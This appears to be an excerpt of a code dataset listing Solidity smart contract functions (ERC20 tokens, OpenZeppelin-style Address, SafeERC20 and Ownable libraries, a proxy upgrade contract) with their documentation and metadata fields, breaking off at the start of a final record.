contract_name
stringlengths
1
61
file_path
stringlengths
5
50.4k
contract_address
stringlengths
42
42
language
stringclasses
1 value
class_name
stringlengths
1
61
class_code
stringlengths
4
330k
class_documentation
stringlengths
0
29.1k
class_documentation_type
stringclasses
6 values
func_name
stringlengths
0
62
func_code
stringlengths
1
303k
func_documentation
stringlengths
2
14.9k
func_documentation_type
stringclasses
4 values
compiler_version
stringlengths
15
42
license_type
stringclasses
14 values
swarm_source
stringlengths
0
71
meta
dict
__index_level_0__
int64
0
60.4k
SuperWalletToken
SuperWalletToken.sol
0xae66d00496aaa25418f829140bb259163c06986e
Solidity
ERC20Token
contract ERC20Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since pu...
transferFrom
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not
NatSpecSingleLine
v0.4.19+commit.c4cbbb05
bzzr://2eea81bd1abfa49720aecdd2fd04a04be8e107129cdcb6ae06ee45afbc9786b9
{ "func_code_index": [ 1354, 1455 ] }
14,800
SuperWalletToken
SuperWalletToken.sol
0xae66d00496aaa25418f829140bb259163c06986e
Solidity
ERC20Token
contract ERC20Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since pu...
approve
function approve(address _spender, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not
NatSpecSingleLine
v0.4.19+commit.c4cbbb05
bzzr://2eea81bd1abfa49720aecdd2fd04a04be8e107129cdcb6ae06ee45afbc9786b9
{ "func_code_index": [ 1745, 1831 ] }
14,801
SuperWalletToken
SuperWalletToken.sol
0xae66d00496aaa25418f829140bb259163c06986e
Solidity
ERC20Token
contract ERC20Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since pu...
allowance
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
/// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent
NatSpecSingleLine
v0.4.19+commit.c4cbbb05
bzzr://2eea81bd1abfa49720aecdd2fd04a04be8e107129cdcb6ae06ee45afbc9786b9
{ "func_code_index": [ 2039, 2137 ] }
14,802
SuperWalletToken
SuperWalletToken.sol
0xae66d00496aaa25418f829140bb259163c06986e
Solidity
SuperWalletToken
contract SuperWalletToken is StandardToken, Owned { // metadata string public constant name = "Super Wallet Token"; string public constant symbol = "SW"; string public version = "1.0"; uint256 public constant decimals = 8; bool public disabled; // constructor function SuperWalle...
SuperWalletToken
function SuperWalletToken() public { uint256 amount = 84000000*100000000; totalSupply = amount; balances[msg.sender] = amount; }
// constructor
LineComment
v0.4.19+commit.c4cbbb05
bzzr://2eea81bd1abfa49720aecdd2fd04a04be8e107129cdcb6ae06ee45afbc9786b9
{ "func_code_index": [ 297, 468 ] }
14,803
SuperWalletToken
SuperWalletToken.sol
0xae66d00496aaa25418f829140bb259163c06986e
Solidity
SuperWalletToken
contract SuperWalletToken is StandardToken, Owned { // metadata string public constant name = "Super Wallet Token"; string public constant symbol = "SW"; string public version = "1.0"; uint256 public constant decimals = 8; bool public disabled; // constructor function SuperWalle...
setDisabled
function setDisabled(bool flag) external onlyOwner { disabled = flag; }
//在数据迁移时,需要先停止ATM交易
LineComment
v0.4.19+commit.c4cbbb05
bzzr://2eea81bd1abfa49720aecdd2fd04a04be8e107129cdcb6ae06ee45afbc9786b9
{ "func_code_index": [ 602, 692 ] }
14,804
gcDAI
contracts/modules/BalancerLiquidityPoolAbstraction.sol
0x8c659d745eb24df270a952f68f4b1d6817c3795c
Solidity
BalancerLiquidityPoolAbstraction
library BalancerLiquidityPoolAbstraction { using SafeMath for uint256; uint256 constant MIN_AMOUNT = 1e6; uint256 constant TOKEN0_WEIGHT = 25e18; // 25/50 = 50% uint256 constant TOKEN1_WEIGHT = 25e18; // 25/50 = 50% uint256 constant SWAP_FEE = 10e16; // 10% function _createPool(address _token0, uint256...
_createPool
function _createPool(address _token0, uint256 _amount0, address _token1, uint256 _amount1) internal returns (address _pool) { require(_amount0 >= MIN_AMOUNT && _amount1 >= MIN_AMOUNT, "amount below the minimum"); _pool = BFactory($.Balancer_FACTORY).newBPool(); Transfers._approveFunds(_token0, _pool, _amount0); ...
// 10%
LineComment
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://c8d57d481ca8eab06bc8ada4b25b292c3168f27650075dc266cc7d2cfe69bf18
{ "func_code_index": [ 274, 852 ] }
14,805
PunkzCrypto
Ownable.sol
0x78bdc1be014ca7f605726a3e988664481cb1cf64
Solidity
Ownable
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); ...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. */
NatSpecMultiLine
owner
function owner() internal view returns (address) { return _owner; }
/** * @dev Returns the address of the current owner. */
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://fa1fc5f62b80aa71db859c9bbf48e6efc586c9c4fb7346c54850098a31a238f0
{ "func_code_index": [ 486, 572 ] }
14,806
FiatTokenProxy
/Users/paulsalisbury/Code/nzds-token/contracts/upgradeability/UpgradeabilityProxy.sol
0x2ccc02190bfb9a756873e831cec03680b52f0636
Solidity
UpgradeabilityProxy
contract UpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address implementation); /** * @dev Storage slot with the address of the current implementation. * This is th...
/** * @notice This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. * @dev Forked from https://github.com/zeppelinos/zos-lib/blob/8a16ef3ad17ec7430e3a9d2b5e3f39b8204f8c8d/contracts/upgradeability/Upgradeabi...
NatSpecMultiLine
_implementation
function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } }
/** * @dev Returns the current implementation. * @return impl Address of the current implementation */
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 1052, 1241 ] }
14,807
FiatTokenProxy
/Users/paulsalisbury/Code/nzds-token/contracts/upgradeability/UpgradeabilityProxy.sol
0x2ccc02190bfb9a756873e831cec03680b52f0636
Solidity
UpgradeabilityProxy
contract UpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address implementation); /** * @dev Storage slot with the address of the current implementation. * This is th...
/** * @notice This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. * @dev Forked from https://github.com/zeppelinos/zos-lib/blob/8a16ef3ad17ec7430e3a9d2b5e3f39b8204f8c8d/contracts/upgradeability/Upgradeabi...
NatSpecMultiLine
_upgradeTo
function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); }
/** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 1382, 1538 ] }
14,808
FiatTokenProxy
/Users/paulsalisbury/Code/nzds-token/contracts/upgradeability/UpgradeabilityProxy.sol
0x2ccc02190bfb9a756873e831cec03680b52f0636
Solidity
UpgradeabilityProxy
contract UpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address implementation); /** * @dev Storage slot with the address of the current implementation. * This is th...
/** * @notice This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. * @dev Forked from https://github.com/zeppelinos/zos-lib/blob/8a16ef3ad17ec7430e3a9d2b5e3f39b8204f8c8d/contracts/upgradeability/Upgradeabi...
NatSpecMultiLine
_setImplementation
function _setImplementation(address newImplementation) private { require( Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address" ); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } }
/** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 1681, 2027 ] }
14,809
C0KEFINANCE
C0KEFINANCE.sol
0x7a9e0d75e7ee0e4bcf96e2eebfb41c1d3a00b104
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
isContract
function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codeha...
/** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: ...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://39158d1016ec2679adc5788e57a4e72edc1980cc5d1f21fbfc6bdbc97125cac6
{ "func_code_index": [ 606, 1230 ] }
14,810
C0KEFINANCE
C0KEFINANCE.sol
0x7a9e0d75e7ee0e4bcf96e2eebfb41c1d3a00b104
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
sendValue
function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address...
/** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `tr...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://39158d1016ec2679adc5788e57a4e72edc1980cc5d1f21fbfc6bdbc97125cac6
{ "func_code_index": [ 2160, 2562 ] }
14,811
C0KEFINANCE
C0KEFINANCE.sol
0x7a9e0d75e7ee0e4bcf96e2eebfb41c1d3a00b104
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCall
function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); }
/** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw ...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://39158d1016ec2679adc5788e57a4e72edc1980cc5d1f21fbfc6bdbc97125cac6
{ "func_code_index": [ 3318, 3496 ] }
14,812
C0KEFINANCE
C0KEFINANCE.sol
0x7a9e0d75e7ee0e4bcf96e2eebfb41c1d3a00b104
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCall
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://39158d1016ec2679adc5788e57a4e72edc1980cc5d1f21fbfc6bdbc97125cac6
{ "func_code_index": [ 3721, 3922 ] }
14,813
C0KEFINANCE
C0KEFINANCE.sol
0x7a9e0d75e7ee0e4bcf96e2eebfb41c1d3a00b104
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ *...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://39158d1016ec2679adc5788e57a4e72edc1980cc5d1f21fbfc6bdbc97125cac6
{ "func_code_index": [ 4292, 4523 ] }
14,814
C0KEFINANCE
C0KEFINANCE.sol
0x7a9e0d75e7ee0e4bcf96e2eebfb41c1d3a00b104
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); }
/** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://39158d1016ec2679adc5788e57a4e72edc1980cc5d1f21fbfc6bdbc97125cac6
{ "func_code_index": [ 4774, 5095 ] }
14,815
C0KEFINANCE
C0KEFINANCE.sol
0x7a9e0d75e7ee0e4bcf96e2eebfb41c1d3a00b104
Solidity
SafeERC20
library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, add...
/** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `...
NatSpecMultiLine
safeApprove
function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line ...
/** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://39158d1016ec2679adc5788e57a4e72edc1980cc5d1f21fbfc6bdbc97125cac6
{ "func_code_index": [ 747, 1374 ] }
14,816
C0KEFINANCE
C0KEFINANCE.sol
0x7a9e0d75e7ee0e4bcf96e2eebfb41c1d3a00b104
Solidity
SafeERC20
library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, add...
/** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `...
NatSpecMultiLine
_callOptionalReturn
function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target ad...
/** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://39158d1016ec2679adc5788e57a4e72edc1980cc5d1f21fbfc6bdbc97125cac6
{ "func_code_index": [ 2393, 3159 ] }
14,817
C0KEFINANCE
C0KEFINANCE.sol
0x7a9e0d75e7ee0e4bcf96e2eebfb41c1d3a00b104
Solidity
Ownable
contract Ownable is Context { /** * @dev So here we seperate the rights of the classic ownership into 'owner' and 'minter' * this way the developer/owner stays the 'owner' and can make changes like adding a pool * at any time but cannot mint anymore as soon as the 'minter' gets changes (to the ...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. ...
NatSpecMultiLine
owner
function owner() public view returns (address) { return _owner; }
/** * @dev Returns the address of the current owner. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://39158d1016ec2679adc5788e57a4e72edc1980cc5d1f21fbfc6bdbc97125cac6
{ "func_code_index": [ 811, 895 ] }
14,818
C0KEFINANCE
C0KEFINANCE.sol
0x7a9e0d75e7ee0e4bcf96e2eebfb41c1d3a00b104
Solidity
Ownable
contract Ownable is Context { /** * @dev So here we seperate the rights of the classic ownership into 'owner' and 'minter' * this way the developer/owner stays the 'owner' and can make changes like adding a pool * at any time but cannot mint anymore as soon as the 'minter' gets changes (to the ...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. ...
NatSpecMultiLine
renounceOwnership
function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
/** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://39158d1016ec2679adc5788e57a4e72edc1980cc5d1f21fbfc6bdbc97125cac6
{ "func_code_index": [ 1453, 1606 ] }
14,819
C0KEFINANCE
C0KEFINANCE.sol
0x7a9e0d75e7ee0e4bcf96e2eebfb41c1d3a00b104
Solidity
Ownable
contract Ownable is Context { /** * @dev So here we seperate the rights of the classic ownership into 'owner' and 'minter' * this way the developer/owner stays the 'owner' and can make changes like adding a pool * at any time but cannot mint anymore as soon as the 'minter' gets changes (to the ...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. ...
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; }
/** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://39158d1016ec2679adc5788e57a4e72edc1980cc5d1f21fbfc6bdbc97125cac6
{ "func_code_index": [ 1756, 2005 ] }
14,820
C0KEFINANCE
C0KEFINANCE.sol
0x7a9e0d75e7ee0e4bcf96e2eebfb41c1d3a00b104
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _burnedSupply; uint256 pr...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an minter) that can be granted exclusive access to * specific functions. * * By default, the minter account will be the one that deploys the contract. This * can later be changed with {transferMintership...
NatSpecMultiLine
name
function name() public view returns (string memory) { return _name; }
/** * @dev Returns the name of the token. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://39158d1016ec2679adc5788e57a4e72edc1980cc5d1f21fbfc6bdbc97125cac6
{ "func_code_index": [ 847, 935 ] }
14,821
C0KEFINANCE
C0KEFINANCE.sol
0x7a9e0d75e7ee0e4bcf96e2eebfb41c1d3a00b104
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _burnedSupply; uint256 pr...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an minter) that can be granted exclusive access to * specific functions. * * By default, the minter account will be the one that deploys the contract. This * can later be changed with {transferMintership...
NatSpecMultiLine
symbol
function symbol() public view returns (string memory) { return _symbol; }
/** * @dev Returns the symbol of the token, usually a shorter version of the * name. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://39158d1016ec2679adc5788e57a4e72edc1980cc5d1f21fbfc6bdbc97125cac6
{ "func_code_index": [ 1130, 1222 ] }
14,822
C0KEFINANCE
C0KEFINANCE.sol
0x7a9e0d75e7ee0e4bcf96e2eebfb41c1d3a00b104
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _burnedSupply; uint256 pr...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an minter) that can be granted exclusive access to * specific functions. * * By default, the minter account will be the one that deploys the contract. This * can later be changed with {transferMintership...
NatSpecMultiLine
decimals
function decimals() public view returns (uint256) { return _decimals; }
/** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://39158d1016ec2679adc5788e57a4e72edc1980cc5d1f21fbfc6bdbc97125cac6
{ "func_code_index": [ 1855, 1945 ] }
14,823
C0KEFINANCE
C0KEFINANCE.sol
0x7a9e0d75e7ee0e4bcf96e2eebfb41c1d3a00b104
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _burnedSupply; uint256 pr...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an minter) that can be granted exclusive access to * specific functions. * * By default, the minter account will be the one that deploys the contract. This * can later be changed with {transferMintership...
NatSpecMultiLine
totalSupply
function totalSupply() public view override returns (uint256) { return _totalSupply; }
/** * @dev See {IERC20-totalSupply}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://39158d1016ec2679adc5788e57a4e72edc1980cc5d1f21fbfc6bdbc97125cac6
{ "func_code_index": [ 2005, 2110 ] }
14,824
C0KEFINANCE
C0KEFINANCE.sol
0x7a9e0d75e7ee0e4bcf96e2eebfb41c1d3a00b104
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _burnedSupply; uint256 pr...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an minter) that can be granted exclusive access to * specific functions. * * By default, the minter account will be the one that deploys the contract. This * can later be changed with {transferMintership...
NatSpecMultiLine
burnedSupply
function burnedSupply() public view returns (uint256) { return _burnedSupply; }
/** * @dev Returns the amount of burned tokens. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://39158d1016ec2679adc5788e57a4e72edc1980cc5d1f21fbfc6bdbc97125cac6
{ "func_code_index": [ 2181, 2279 ] }
14,825
C0KEFINANCE
C0KEFINANCE.sol
0x7a9e0d75e7ee0e4bcf96e2eebfb41c1d3a00b104
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _burnedSupply; uint256 pr...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an minter) that can be granted exclusive access to * specific functions. * * By default, the minter account will be the one that deploys the contract. This * can later be changed with {transferMintership...
NatSpecMultiLine
burnRate
function burnRate() public view returns (uint256) { return _burnRate; }
/** * @dev Returns the burnrate. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://39158d1016ec2679adc5788e57a4e72edc1980cc5d1f21fbfc6bdbc97125cac6
{ "func_code_index": [ 2335, 2425 ] }
14,826
C0KEFINANCE
C0KEFINANCE.sol
0x7a9e0d75e7ee0e4bcf96e2eebfb41c1d3a00b104
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _burnedSupply; uint256 pr...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an minter) that can be granted exclusive access to * specific functions. * * By default, the minter account will be the one that deploys the contract. This * can later be changed with {transferMintership...
NatSpecMultiLine
balanceOf
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
/** * @dev See {IERC20-balanceOf}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://39158d1016ec2679adc5788e57a4e72edc1980cc5d1f21fbfc6bdbc97125cac6
{ "func_code_index": [ 2483, 2607 ] }
14,827
C0KEFINANCE
C0KEFINANCE.sol
0x7a9e0d75e7ee0e4bcf96e2eebfb41c1d3a00b104
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _burnedSupply; uint256 pr...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an minter) that can be granted exclusive access to * specific functions. * * By default, the minter account will be the one that deploys the contract. This * can later be changed with {transferMintership...
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
/** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://39158d1016ec2679adc5788e57a4e72edc1980cc5d1f21fbfc6bdbc97125cac6
{ "func_code_index": [ 2815, 2995 ] }
14,828
PTokenFactory
PToken.sol
0xbe612b724b77038bc40a4e4a88335a93a9aa445b
Solidity
PToken
contract PToken is IParasset { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 public _totalSupply = 0; string public name = ""; string public s...
getPTokenFactory
function getPTokenFactory() public view returns(address) { return address(pTokenFactory); }
//---------view--------- // Query factory contract address
LineComment
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://b69f86cc99ca184582e83b963c81d045f12c0de70095d54bf7b9cdb752ac4083
{ "func_code_index": [ 1063, 1173 ] }
14,829
PTokenFactory
PToken.sol
0xbe612b724b77038bc40a4e4a88335a93a9aa445b
Solidity
PToken
contract PToken is IParasset { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 public _totalSupply = 0; string public name = ""; string public s...
totalSupply
function totalSupply() override public view returns (uint256) { return _totalSupply; }
/// @notice The view of totalSupply /// @return The total supply of ntoken
NatSpecSingleLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://b69f86cc99ca184582e83b963c81d045f12c0de70095d54bf7b9cdb752ac4083
{ "func_code_index": [ 1261, 1366 ] }
14,830
PTokenFactory
PToken.sol
0xbe612b724b77038bc40a4e4a88335a93a9aa445b
Solidity
PToken
contract PToken is IParasset { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 public _totalSupply = 0; string public name = ""; string public s...
balanceOf
function balanceOf(address owner) override public view returns (uint256) { return _balances[owner]; }
/// @dev The view of balances /// @param owner The address of an account /// @return The balance of the account
NatSpecSingleLine
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://b69f86cc99ca184582e83b963c81d045f12c0de70095d54bf7b9cdb752ac4083
{ "func_code_index": [ 1496, 1616 ] }
14,831
PTokenFactory
PToken.sol
0xbe612b724b77038bc40a4e4a88335a93a9aa445b
Solidity
PToken
contract PToken is IParasset { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 public _totalSupply = 0; string public name = ""; string public s...
changeFactory
function changeFactory(address factory) public onlyGovernance { pTokenFactory = IPTokenFactory(address(factory)); }
//---------transaction---------
LineComment
v0.6.12+commit.27d51765
GNU GPLv3
ipfs://b69f86cc99ca184582e83b963c81d045f12c0de70095d54bf7b9cdb752ac4083
{ "func_code_index": [ 1806, 1940 ] }
14,832
ThisShardDoesNotExist
contracts/ThisShardDoesNotExist.sol
0xc13207193e30fa6d75fe9e368923c082eb53a549
Solidity
ThisShardDoesNotExist
